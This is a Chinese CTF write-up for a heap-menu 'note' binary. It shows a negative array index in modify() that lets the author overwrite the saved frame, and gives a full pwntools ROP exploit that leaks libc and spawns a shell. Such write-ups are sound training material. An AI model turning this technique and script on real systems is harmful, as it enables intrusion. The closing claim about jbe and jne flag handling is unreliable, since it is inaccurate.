tctf 坐牢, 把美团的题扒下来了, 这才是我这个水平该做的题 (哭)
64 位 ELF, 仅开启 NX 保护, Partial RELRO.
菜单题, 新建, 打印, 修改, 删除, note 结构体:
1
2
3
4
|
struct Note {
char *str;
int size;
}
|
main 函数开了个 Note s[16] 在栈上.
漏洞出现在 modify 上 (其他地方也有, 不过这一个漏洞就能够利用了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
void __fastcall modify(Note *a1)
{
int idx; // [rsp+14h] [rbp-Ch]
char *buf; // [rsp+18h] [rbp-8h]
printf("Index: ");
idx = readint();
if ( idx <= 16 && a1[idx].str )
{
buf = a1[idx].str;
printf("Content: ");
read(0, buf, a1[idx].size);
}
else
{
puts("Not allowed");
}
}
|
可以看到非常明显的一个数组越界, int idx, 但是没有判断 >= 0.
经过调试, 可以发现, 这个函数中, idx = -6 的位置, *str 正好是 modify 函数的 rbp, len 也足够大. 所以这里可以构造 ROP. 构造一个 put(stdout) -> main(), (有 setvbuf, bss 上存在 stdout, puts 参数位 bss 地址即可. 没 PIE, bss 地址已知) 可以 leak libc.
第二次的 main, 调试发现, 调用 modify, 这个 idx = -6 的位置也还是 modify 的 rbp, 继续构造 ROP system(“bin/sh”) 即可.
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')
procname = './note'
libcname = './libc-2.31.so'
io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)
def n2b(x):
return str(x).encode()
def one_gadgets(base=0):
result = [int(i) + base for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
return result
pop_rdi_ret = 0x004017b3
ret = 0x004017b4
bss = 0x00404080
main = 0x00401679
binsh = 0x001b45bd
def op(x):
io.sendafter(b'5. leave\n', n2b(x))
def modify(idx, s):
op(3)
io.sendafter(b'Index: ', n2b(idx))
io.sendafter(b'Content: ', s)
payload = p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(bss) + p64(elf.plt['puts']) + p64(main)
modify(-6, payload)
libc.address = u64(io.recvline(keepends=False).ljust(8, b'\x00')) - 0x1ed6a0
success(f'leak libc: {hex(libc.address)}')
binsh += libc.address
payload = p64(0xdeadbeef) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(libc.sym['system'])
modify(-6, payload)
io.interactive()
|
看汇编的话, jbe 指令是不去管 ZF, CF 的, 也就是无符号的意思. 而 jne 是要管 ZF, CF 的, 也就是有符号.
(怎么有人不看数据类型的啊, 长记性了)